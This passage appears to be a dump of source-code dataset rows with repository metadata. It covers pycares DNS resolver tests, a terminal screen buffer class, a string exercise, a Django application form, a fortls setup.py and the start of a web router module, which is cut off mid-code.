self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_nameinfo_result) self.assertEqual(self.result.node, 'fd01:dec0:0:1::2020') self.assertEqual(self.result.service, '80') @unittest.skipIf(sys.platform == 'win32', 'skipped on Windows') @unittest.expectedFailure def test_getnameinfo_ipv6_ll(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.getnameinfo(('fe80::5abd:fee7:4177:60c0', 80, 0, 666), pycares.ARES_NI_NUMERICHOST|pycares.ARES_NI_NUMERICSERV|pycares.ARES_NI_NUMERICSCOPE, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_nameinfo_result) self.assertEqual(self.result.node, 'fe80::5abd:fee7:4177:60c0%666') self.assertEqual(self.result.service, '80') def test_query_a(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_a_result) self.assertNotEqual(r.host, None) self.assertTrue(r.ttl >= 0) def test_query_a_bad(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('hgf8g2od29hdohid.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertEqual(self.result, None) self.assertEqual(self.errorno, pycares.errno.ARES_ENOTFOUND) def test_query_a_rotate(self): self.result, self.errorno = None, None self.errorno_count, self.count = 0, 0 def cb(result, errorno): self.result, self.errorno = result, errorno if errorno: self.errorno_count += 1 self.count += 1 self.channel = pycares.Channel(timeout=1.0, tries=1, rotate=True) self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertEqual(self.count, 3) self.assertEqual(self.errorno_count, 0) def test_query_aaaa(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('ipv6.google.com', pycares.QUERY_TYPE_AAAA, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_aaaa_result) self.assertNotEqual(r.host, None) self.assertTrue(r.ttl >= 0) def test_query_cname(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('www.amazon.com', pycares.QUERY_TYPE_CNAME, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_query_cname_result) def test_query_mx(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('google.com', pycares.QUERY_TYPE_MX, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_mx_result) self.assertTrue(r.ttl >= 0) def test_query_ns(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('google.com', pycares.QUERY_TYPE_NS, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_ns_result) def test_query_txt(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('google.com', pycares.QUERY_TYPE_TXT, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_txt_result) self.assertTrue(r.ttl >= 0) def test_query_txt_chunked(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('jobscoutdaily.com', pycares.QUERY_TYPE_TXT, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(len(self.result), 1) self.assertEqual(self.result[0].text, 'v=spf1 include:emailcampaigns.net include:spf.dynect.net include:ccsend.com include:_spf.elasticemail.com ip4:67.200.116.86 ip4:67.200.116.90 ip4:67.200.116.97 ip4:67.200.116.111 ip4:74.199.198.2 ~all') def test_query_txt_multiple_chunked(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('s-pulse.co.jp', pycares.QUERY_TYPE_TXT, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(len(self.result), 3) def test_query_txt_bytes1(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('google.com', pycares.QUERY_TYPE_TXT, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_txt_result) self.assertIsInstance(r.text, str) self.assertTrue(r.ttl >= 0) def test_query_txt_bytes2(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('wide.com.es', pycares.QUERY_TYPE_TXT, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_txt_result) self.assertIsInstance(r.text, bytes) self.assertTrue(r.ttl >= 0) def test_query_txt_multiple_chunked_with_non_ascii_content(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('txt-non-ascii.dns-test.hmnid.ru', pycares.QUERY_TYPE_TXT, cb) self.wait() self.assertNoError(self.errorno) # txt-non-ascii.dns-test.hmnid.ru. IN TXT "ascii string" "some\208misc\208stuff" self.assertEqual(len(self.result), 1) r = self.result[0] self.assertEqual(type(r), pycares.ares_query_txt_result) self.assertIsInstance(r.text, bytes) self.assertTrue(r.ttl >= 0) def test_query_soa(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('google.com', pycares.QUERY_TYPE_SOA, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_query_soa_result) self.assertTrue(self.result.ttl >= 0) def test_query_srv(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('_xmpp-server._tcp.google.com', pycares.QUERY_TYPE_SRV, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_srv_result) self.assertTrue(r.ttl >= 0) def test_query_naptr(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('sip2sip.info', pycares.QUERY_TYPE_NAPTR, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_naptr_result) self.assertTrue(r.ttl >= 0) def test_query_ptr(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno ip = '8.8.8.8' self.channel.query(ipaddress.ip_address(ip).reverse_pointer, pycares.QUERY_TYPE_PTR, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_query_ptr_result) self.assertIsInstance(self.result.ttl, int) self.assertGreaterEqual(self.result.ttl, 0) self.assertLessEqual(self.result.ttl, 2**31-1) self.assertEqual(type(self.result.aliases), list) def test_query_ptr_ipv6(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno ip = '2001:4860:4860::8888' self.channel.query(ipaddress.ip_address(ip).reverse_pointer, pycares.QUERY_TYPE_PTR, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_query_ptr_result) self.assertIsInstance(self.result.ttl, int) self.assertGreaterEqual(self.result.ttl, 0) self.assertLessEqual(self.result.ttl, 2**31-1) self.assertEqual(type(self.result.aliases), list) def test_query_any(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('google.com', pycares.QUERY_TYPE_ANY, cb) self.wait() self.assertNoError(self.errorno) self.assertTrue(len(self.result) > 1) def test_query_cancelled(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('google.com', pycares.QUERY_TYPE_NS, cb) self.channel.cancel() self.wait() self.assertEqual(self.result, None) self.assertEqual(self.errorno, pycares.errno.ARES_ECANCELLED) def test_query_bad_type(self): self.assertRaises(ValueError, self.channel.query, 'google.com', 667, lambda *x: None) self.wait() def test_query_timeout(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.servers = ['1.2.3.4'] self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertEqual(self.result, None) self.assertEqual(self.errorno, pycares.errno.ARES_ETIMEOUT) def test_query_onion(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('foo.onion', pycares.QUERY_TYPE_A, cb) self.wait() self.assertEqual(self.result, None) self.assertEqual(self.errorno, pycares.errno.ARES_ENOTFOUND) def test_channel_nameservers(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel = pycares.Channel(timeout=5.0, tries=1, servers=['8.8.8.8']) self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertNoError(self.errorno) def test_channel_nameservers2(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.servers = ['8.8.8.8'] self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertNoError(self.errorno) def test_channel_nameservers3(self): servers = ['8.8.8.8', '8.8.4.4'] self.channel.servers = servers servers2 = self.channel.servers self.assertEqual(servers, servers2) def test_channel_local_ip(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel = pycares.Channel(timeout=5.0, tries=1, servers=['8.8.8.8'], local_ip='127.0.0.1') self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertEqual(self.result, None) self.assertEqual(self.errorno, pycares.errno.ARES_ECONNREFUSED) def test_channel_local_ip2(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.servers = ['8.8.8.8'] self.channel.set_local_ip('127.0.0.1') self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertEqual(self.result, None) self.assertEqual(self.errorno, pycares.errno.ARES_ECONNREFUSED) self.assertRaises(ValueError, self.channel.set_local_ip, 'an invalid ip') def test_channel_timeout(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel = pycares.Channel(timeout=0.5, tries=1) self.channel.gethostbyname('google.com', socket.AF_INET, cb) timeout = self.channel.timeout() self.assertTrue(timeout > 0.0) self.channel.cancel() self.wait() self.assertEqual(self.result, None) self.assertEqual(self.errorno, pycares.errno.ARES_ECANCELLED) def test_import_errno(self): from pycares.errno import ARES_SUCCESS self.assertTrue(True) def test_result_not_ascii(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.query('ayesas.com', pycares.QUERY_TYPE_SOA, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_query_soa_result) self.assertIsInstance(self.result.hostmaster, bytes) # it's not ASCII self.assertTrue(self.result.ttl >= 0) def test_idna_encoding(self): host = 'españa.icom.museum' self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.gethostbyname(host.encode(), socket.AF_INET, cb) self.wait() self.assertEqual(self.errorno, pycares.errno.ARES_ENOTFOUND) self.assertEqual(self.result, None) self.channel.gethostbyname(host, socket.AF_INET, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_host_result) def test_idna_encoding_query_a(self): host = 'españa.icom.museum' self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno # try encoding it as utf-8 self.channel.query(host.encode(), pycares.QUERY_TYPE_A, cb) self.wait() self.assertEqual(self.errorno, pycares.errno.ARES_ENOTFOUND) self.assertEqual(self.result, None) # use it as is (it's IDNA encoded internally) self.channel.query(host, pycares.QUERY_TYPE_A, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_a_result) self.assertNotEqual(r.host, None) def test_idna2008_encoding(self): try: import idna except ImportError: raise unittest.SkipTest('idna module not installed') host = 'straße.de' self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel.gethostbyname(host, socket.AF_INET, cb) self.wait() self.assertNoError(self.errorno) self.assertEqual(type(self.result), pycares.ares_host_result) self.assertTrue('81.169.145.78' in self.result.addresses) @unittest.skipIf(sys.platform == 'win32', 'skipped on Windows') def test_custom_resolvconf(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel = pycares.Channel(tries=1, timeout=2.0, resolvconf_path=os.path.join(FIXTURES_PATH, 'badresolv.conf')) self.channel.query('google.com', pycares.QUERY_TYPE_A, cb) self.wait() self.assertEqual(self.result, None) self.assertEqual(self.errorno, pycares.errno.ARES_ETIMEOUT) def test_errorcode_dict(self): for err in ('ARES_SUCCESS', 'ARES_ENODATA', 'ARES_ECANCELLED'): val = getattr(pycares.errno, err) self.assertEqual(pycares.errno.errorcode[val], err) def test_search(self): self.result, self.errorno = None, None def cb(result, errorno): self.result, self.errorno = result, errorno self.channel = pycares.Channel(timeout=5.0, tries=1, domains=['google.com']) self.channel.search('cloud', pycares.QUERY_TYPE_A, cb) self.wait() self.assertNoError(self.errorno) for r in self.result: self.assertEqual(type(r), pycares.ares_query_a_result) self.assertNotEqual(r.host, None) def test_lookup(self): channel = pycares.Channel( lookups="b", timeout=1, tries=1, socket_receive_buffer_size=4096, servers=["8.8.8.8", "8.8.4.4"], tcp_port=53, udp_port=53, rotate=True, ) def on_result(result, errorno): self.result, self.errorno = result, errorno for domain in [ "google.com", "microsoft.com", "apple.com", "amazon.com", "baidu.com", "alipay.com", "tencent.com", ]: self.result, self.errorno = None, None self.channel.query(domain, pycares.QUERY_TYPE_A, on_result) self.wait() self.assertNoError(self.errorno) self.assertTrue(self.result is not None and len(self.result) > 0) for r in self.result: self.assertEqual(type(r), pycares.ares_query_a_result) self.assertNotEqual(r.host, None) self.assertTrue(r.type == 'A') self.assertTrue(r.ttl >= 0) def test_strerror_str(self): for key in pycares.errno.errorcode: self.assertTrue(type(pycares.errno.strerror(key)), str) if __name__ == '__main__': unittest.main(verbosity=2)
true
true
f7f3bdfbb6db7522bcca88faaa1d4817f66f6309
2,323
py
Python
src/terminal/screen.py
gvb84/term-emu
ef38abb0d45f0368666112642114a24ad2bb15ad
[ "BSD-3-Clause" ]
5
2019-04-17T19:17:59.000Z
2021-02-17T08:36:28.000Z
src/terminal/screen.py
gvb84/term-emu
ef38abb0d45f0368666112642114a24ad2bb15ad
[ "BSD-3-Clause" ]
null
null
null
src/terminal/screen.py
gvb84/term-emu
ef38abb0d45f0368666112642114a24ad2bb15ad
[ "BSD-3-Clause" ]
6
2018-12-16T23:38:52.000Z
2021-07-02T10:56:17.000Z
import array from . import rendition class Screen: def __init__(self, rows, cols): self.reset(rows, cols) def reset(self, rows, cols): self.cols = cols self.rows = rows self.cells = [] self.gfx = [] self.empty_line = array.array("u", u" "*cols) self.empty_gfx = array.array("I", [0]*cols) for i in range(0, rows): self.cells.append(array.array("u", self.empty_line)) self.gfx.append(array.array("I", self.empty_gfx)) def scroll_up(self, scroll_top, scroll_bottom, alt, current_gfx): top_screen = self.cells.pop(scroll_top) top_gfx = self.gfx.pop(scroll_top) if scroll_top == 0 and scroll_bottom == self.rows -1 and alt: top_screen = array.array("u", self.empty_line) top_gfx = array.array("I", self.empty_gfx) else: top_screen[0:self.cols] = array.array("u", self.empty_line) top_gfx[0:self.cols] = array.array("I", self.empty_gfx) for i in range(0, self.cols): top_gfx[i] = current_gfx self.cells.insert(scroll_bottom, top_screen) self.gfx.insert(scroll_bottom, top_gfx) def resize(self, rows, cols): if rows > self.rows: for row in range(self.rows, rows): self.cells.append(array.array("u", self.empty_line)) self.gfx.append(array.array("I", self.empty_gfx)) elif rows < self.rows: self.cells = self.cells[:rows] self.gfx = self.gfx[:rows] if cols > self.cols: for row in range(0, rows): for col in range(self.cols, cols): self.cells[row].append(u" ") self.gfx[row].append(0) self.empty_line = array.array("u", u" "*cols) self.empty_gfx = array.array("I", [0]*cols) elif cols < self.cols: for row in range(0, rows): self.cells[row] = self.cells[row][0:cols] self.gfx[row] = self.gfx[row][0:cols] self.empty_line = self.empty_line[0:cols] self.empty_gfx = self.empty_gfx[0:cols] self.rows = rows self.cols = cols def write_char(self, cursor, ch, gfx): self.cells[cursor.y][cursor.x] = ch self.gfx[cursor.y][cursor.x] = gfx | rendition.GFX_WRITTEN def erase_rectangle(self, top_row, left_col, bot_row, right_col, gfx=0): # XXX: need to pass in active rendition for y in range(top_row, bot_row): if y < 0 or y >= self.rows: continue for x in range(left_col, right_col): if x < 0 or x >= self.cols: continue self.cells[y][x] = u" " self.gfx[y][x] = gfx
32.263889
113
0.663366
import array from . import rendition class Screen: def __init__(self, rows, cols): self.reset(rows, cols) def reset(self, rows, cols): self.cols = cols self.rows = rows self.cells = [] self.gfx = [] self.empty_line = array.array("u", u" "*cols) self.empty_gfx = array.array("I", [0]*cols) for i in range(0, rows): self.cells.append(array.array("u", self.empty_line)) self.gfx.append(array.array("I", self.empty_gfx)) def scroll_up(self, scroll_top, scroll_bottom, alt, current_gfx): top_screen = self.cells.pop(scroll_top) top_gfx = self.gfx.pop(scroll_top) if scroll_top == 0 and scroll_bottom == self.rows -1 and alt: top_screen = array.array("u", self.empty_line) top_gfx = array.array("I", self.empty_gfx) else: top_screen[0:self.cols] = array.array("u", self.empty_line) top_gfx[0:self.cols] = array.array("I", self.empty_gfx) for i in range(0, self.cols): top_gfx[i] = current_gfx self.cells.insert(scroll_bottom, top_screen) self.gfx.insert(scroll_bottom, top_gfx) def resize(self, rows, cols): if rows > self.rows: for row in range(self.rows, rows): self.cells.append(array.array("u", self.empty_line)) self.gfx.append(array.array("I", self.empty_gfx)) elif rows < self.rows: self.cells = self.cells[:rows] self.gfx = self.gfx[:rows] if cols > self.cols: for row in range(0, rows): for col in range(self.cols, cols): self.cells[row].append(u" ") self.gfx[row].append(0) self.empty_line = array.array("u", u" "*cols) self.empty_gfx = array.array("I", [0]*cols) elif cols < self.cols: for row in range(0, rows): self.cells[row] = self.cells[row][0:cols] self.gfx[row] = self.gfx[row][0:cols] self.empty_line = self.empty_line[0:cols] self.empty_gfx = self.empty_gfx[0:cols] self.rows = rows self.cols = cols def write_char(self, cursor, ch, gfx): self.cells[cursor.y][cursor.x] = ch self.gfx[cursor.y][cursor.x] = gfx | rendition.GFX_WRITTEN def erase_rectangle(self, top_row, left_col, bot_row, right_col, gfx=0): for y in range(top_row, bot_row): if y < 0 or y >= self.rows: continue for x in range(left_col, right_col): if x < 0 or x >= self.cols: continue self.cells[y][x] = u" " self.gfx[y][x] = gfx
true
true
f7f3be34032d441b53ccb341f8ddb4fff0a81a3d
1,201
py
Python
algorithms/middleCharacter.py
CAMIRO/PythonBasicAlgorithms
bc4878bb4447df394a0df4e280192c712d900da9
[ "MIT" ]
null
null
null
algorithms/middleCharacter.py
CAMIRO/PythonBasicAlgorithms
bc4878bb4447df394a0df4e280192c712d900da9
[ "MIT" ]
null
null
null
algorithms/middleCharacter.py
CAMIRO/PythonBasicAlgorithms
bc4878bb4447df394a0df4e280192c712d900da9
[ "MIT" ]
null
null
null
# Get the Middle Character: # You are going to be given a word. Your job is to return the middle character of the word. # If the word's length is odd, return the middle character. # If the word's length is even, return the middle 2 characters. #Examples: # Kata.getMiddle("test") should return "es" # Kata.getMiddle("testing") should return "t" # Kata.getMiddle("middle") should return "dd" # Kata.getMiddle("A") should return "A" def get_middle(s): # Checking if it's even or Odd is_even = False if len(s) % 2 == 0: is_even = True # Calculating the middle position and middle charater(s) middle_position = (0 + len(s)) // 2 middle_charater = s[middle_position] middle_charaters = s[middle_position - 1] + s[middle_position] # Filtering result if its even or Odd if is_even: return middle_charaters else: return middle_charater if __name__ == '__main__': print(get_middle('middle')) # another approaches: # def get_middle(s): # return s[(len(s)-1)/2:len(s)/2+1] # NOTE: using the python method: divmod() # def get_middle(s): # index, odd = divmod(len(s), 2) # return s[index] if odd else s[index - 1:index + 1]
31.605263
92
0.666112
# If the word's length is even, return the middle 2 characters. def get_middle(s): is_even = False if len(s) % 2 == 0: is_even = True # Calculating the middle position and middle charater(s) middle_position = (0 + len(s)) // 2 middle_charater = s[middle_position] middle_charaters = s[middle_position - 1] + s[middle_position] # Filtering result if its even or Odd if is_even: return middle_charaters else: return middle_charater if __name__ == '__main__': print(get_middle('middle')) # another approaches: # def get_middle(s): # return s[(len(s)-1)/2:len(s)/2+1] # NOTE: using the python method: divmod() # def get_middle(s): # index, odd = divmod(len(s), 2) # return s[index] if odd else s[index - 1:index + 1]
true
true
f7f3be36e5e7b7a849d2f19a86d81d1da40ef925
2,256
py
Python
theapplication/forms.py
uncommonhacks/reg
0906bc293899eae6e2b3637a99761703444175af
[ "MIT" ]
null
null
null
theapplication/forms.py
uncommonhacks/reg
0906bc293899eae6e2b3637a99761703444175af
[ "MIT" ]
23
2018-09-06T14:26:37.000Z
2020-06-05T19:10:38.000Z
theapplication/forms.py
uncommonhacks/reg
0906bc293899eae6e2b3637a99761703444175af
[ "MIT" ]
null
null
null
from django import forms from .models import Application, Confirmation class ApplicationForm(forms.ModelForm): first_name = forms.CharField(max_length=100, label="First Name") last_name = forms.CharField( max_length=100, label="Last Name", initial="", required=False ) resume = forms.FileField( label="Resume", help_text="Upload your resume. File must be a PDF (10MB max)." ) def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.fields["legal1"].widget.template_name = "django/forms/widgets/legal1.html" self.fields["legal2"].widget.template_name = "django/forms/widgets/legal2.html" self.fields["legal3"].widget.template_name = "django/forms/widgets/legal3.html" self.fields["brain_1"].widget.template_name = "django/forms/widgets/brain1.html" self.fields[ "is_this_a_1" ].widget.template_name = "django/forms/widgets/isthisa1.html" self.fields[ "pikachu" ].widget.template_name = "django/forms/widgets/pikachu.html" class Meta: model = Application fields = [ "first_name", "last_name", "phone_number", "birth_date", "gender", "pronouns", "race", "school", "major", "study_level", "grad_year", "location", "hackathons", "self_description", "proudof", "essay1", "essay2", "essay3", "brain_1", "brain_2", "brain_3", "brain_4", "is_this_a_1", "is_this_a_2", "is_this_a_3", "pikachu", "resume", "legal1", "legal2", "legal3", ] class ConfirmationForm(forms.ModelForm): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.fields["over18"].widget.template_name = "django/forms/widgets/over18.html" self.fields["will_show"].widget.template_name = "django/forms/widgets/will_show.html" class Meta: model = Confirmation fields = "__all__"
31.333333
93
0.555408
from django import forms from .models import Application, Confirmation class ApplicationForm(forms.ModelForm): first_name = forms.CharField(max_length=100, label="First Name") last_name = forms.CharField( max_length=100, label="Last Name", initial="", required=False ) resume = forms.FileField( label="Resume", help_text="Upload your resume. File must be a PDF (10MB max)." ) def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.fields["legal1"].widget.template_name = "django/forms/widgets/legal1.html" self.fields["legal2"].widget.template_name = "django/forms/widgets/legal2.html" self.fields["legal3"].widget.template_name = "django/forms/widgets/legal3.html" self.fields["brain_1"].widget.template_name = "django/forms/widgets/brain1.html" self.fields[ "is_this_a_1" ].widget.template_name = "django/forms/widgets/isthisa1.html" self.fields[ "pikachu" ].widget.template_name = "django/forms/widgets/pikachu.html" class Meta: model = Application fields = [ "first_name", "last_name", "phone_number", "birth_date", "gender", "pronouns", "race", "school", "major", "study_level", "grad_year", "location", "hackathons", "self_description", "proudof", "essay1", "essay2", "essay3", "brain_1", "brain_2", "brain_3", "brain_4", "is_this_a_1", "is_this_a_2", "is_this_a_3", "pikachu", "resume", "legal1", "legal2", "legal3", ] class ConfirmationForm(forms.ModelForm): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.fields["over18"].widget.template_name = "django/forms/widgets/over18.html" self.fields["will_show"].widget.template_name = "django/forms/widgets/will_show.html" class Meta: model = Confirmation fields = "__all__"
true
true
f7f3c06afaa477d5537fc405ae8709b13efb6079
2,248
py
Python
setup.py
PlasmaFAIR/fortls
80fdaa537838b56ead2b11ebd7559537e0a2c5c7
[ "MIT" ]
null
null
null
setup.py
PlasmaFAIR/fortls
80fdaa537838b56ead2b11ebd7559537e0a2c5c7
[ "MIT" ]
null
null
null
setup.py
PlasmaFAIR/fortls
80fdaa537838b56ead2b11ebd7559537e0a2c5c7
[ "MIT" ]
null
null
null
#!/usr/bin/env python """Builds the Fortran Language Server - dev """ import pathlib from setuptools import find_packages, setup from fortls import __version__ # The directory containing this file HERE = pathlib.Path(__file__).resolve().parent # The text of the README file is used as a description README = (HERE / "README.md").read_text() NAME = "fortls" setup( name=NAME, version=__version__, url="https://github.com/gnikit/fortran-language-server", author="Giannis Nikiteas", author_email="giannis.nikiteas@gmail.com", description="fortls - Fortran Language Server", long_description=README, long_description_content_type="text/markdown", license="MIT", classifiers=[ "Development Status :: 4 - Beta", "Intended Audience :: Developers", "Intended Audience :: Science/Research", "License :: OSI Approved :: MIT License", "Natural Language :: English", "Programming Language :: Python", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Fortran", "Operating System :: Microsoft :: Windows", "Operating System :: POSIX", "Operating System :: Unix", "Operating System :: MacOS", ], # You can just specify the packages manually here if your project is # simple. Or you can use find_packages(). packages=find_packages(exclude=["contrib", "docs", "test"]), package_data={"fortls": ["*.json"]}, # https://packaging.python.org/en/latest/discussions/install-requires-vs-requirements/ install_requires=[ 'future; python_version < "3"', 'argparse; python_version < "2.7" or python_version in "3.0, 3.1"', ], # To provide executable scripts, use entry points in preference to the # "scripts" keyword. Entry points provide cross-platform support and allow # pip to create the appropriate form of executable for the target platform. entry_points={ "console_scripts": [ "fortls = fortls.__init__:main", ] }, )
34.584615
90
0.650356
import pathlib from setuptools import find_packages, setup from fortls import __version__ HERE = pathlib.Path(__file__).resolve().parent README = (HERE / "README.md").read_text() NAME = "fortls" setup( name=NAME, version=__version__, url="https://github.com/gnikit/fortran-language-server", author="Giannis Nikiteas", author_email="giannis.nikiteas@gmail.com", description="fortls - Fortran Language Server", long_description=README, long_description_content_type="text/markdown", license="MIT", classifiers=[ "Development Status :: 4 - Beta", "Intended Audience :: Developers", "Intended Audience :: Science/Research", "License :: OSI Approved :: MIT License", "Natural Language :: English", "Programming Language :: Python", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", "Programming Language :: Python :: 3.10", "Programming Language :: Fortran", "Operating System :: Microsoft :: Windows", "Operating System :: POSIX", "Operating System :: Unix", "Operating System :: MacOS", ], packages=find_packages(exclude=["contrib", "docs", "test"]), package_data={"fortls": ["*.json"]}, install_requires=[ 'future; python_version < "3"', 'argparse; python_version < "2.7" or python_version in "3.0, 3.1"', ], entry_points={ "console_scripts": [ "fortls = fortls.__init__:main", ] }, )
true
true
f7f3c123e81f7b48d6e01bd893cbd946448c5788
5,992
py
Python
meow/webs/router.py
aachurin/meow.webs
b3acb92234ba64f40bc7a7947ca2216544ae116a
[ "MIT" ]
null
null
null
meow/webs/router.py
aachurin/meow.webs
b3acb92234ba64f40bc7a7947ca2216544ae116a
[ "MIT" ]
null
null
null
meow/webs/router.py
aachurin/meow.webs
b3acb92234ba64f40bc7a7947ca2216544ae116a
[ "MIT" ]
null
null
null
import inspect import re import uuid import typing import werkzeug import types from werkzeug.routing import Map, Rule from urllib.parse import urlparse from .utils import import_string from . import exceptions Handler = typing.Union[str, typing.Callable[..., typing.Any]] class Route: name: str def __init__( self, url: str, method: str, handler: typing.Union[Handler, typing.List[Handler]], name: typing.Optional[str] = None, standalone: bool = False, ): if isinstance(handler, list): handlers = [] for item in handler: obj = import_string(item) if isinstance(item, str) else item assert isinstance(obj, types.FunctionType) handlers.append(obj) else: obj = import_string(handler) if isinstance(handler, str) else handler assert isinstance(obj, types.FunctionType) handlers = [obj] if len(handlers) > 1: assert name is not None self.name = name else: self.name = name or handlers[0].__name__ self.handlers = tuple(handlers) self.url = url self.method = method self.standalone = standalone self.support_request_data = method in ("POST", "PUT", "PATCH", "DELETE") class BaseRouter: def lookup( self, path: str, method: str ) -> typing.Tuple[Route, typing.Dict[str, object]]: raise NotImplementedError() def reverse_url(self, name: str, **params: object) -> typing.Optional[str]: raise NotImplementedError() class Include: def __init__( self, url: str, name: str, routes: typing.Union[str, typing.List[typing.Union[Route, "Include"]]], ): self.url = url self.name = name if isinstance(routes, str): obj = import_string(routes, list) else: obj = routes self.routes = [] for item in obj: if not isinstance(item, (Route, Include)): # pragma: nocover raise exceptions.ConfigurationError( "Route or Include expected, got %r" % item ) self.routes.append(item) class Router(BaseRouter): def __init__(self, routes: typing.List[typing.Union[Route, Include]]): rules = [] name_lookups = {} for path, name, route in self.walk_routes(routes): path_params = [item.strip("{}") for item in re.findall("{[^}]*}", path)] args: typing.Dict[str, typing.Type[object]] = {} for handler in route.handlers: for param_name, param in inspect.signature(handler).parameters.items(): if param_name in args: # pragma: nocover if args[param_name] != param.annotation: msg = ( f"Parameter {param_name} has different signatures: " f"{args[param_name]} and {param.annotation}" ) raise exceptions.ConfigurationError(msg) else: args[param_name] = param.annotation for path_param in path_params: if path_param.startswith("+"): path = path.replace( "{%s}" % path_param, "<path:%s>" % path_param.lstrip("+") ) else: path = path.replace("{%s}" % path_param, "<string:%s>" % path_param) rule = Rule(path, methods=[route.method], endpoint=name) rules.append(rule) name_lookups[name] = route self.adapter = Map(rules).bind("") self.name_lookups = name_lookups # Use an MRU cache for router lookups. self._lookup_cache: typing.Dict[ str, typing.Tuple[Route, typing.Dict[str, object]] ] = {} self._lookup_cache_size = 10000 def walk_routes( self, routes: typing.List[typing.Union[Route, Include]], url_prefix: str = "", name_prefix: str = "", ) -> typing.List[typing.Tuple[str, str, Route]]: walked = [] for item in routes: if isinstance(item, Route): walked.append((url_prefix + item.url, name_prefix + item.name, item)) elif isinstance(item, 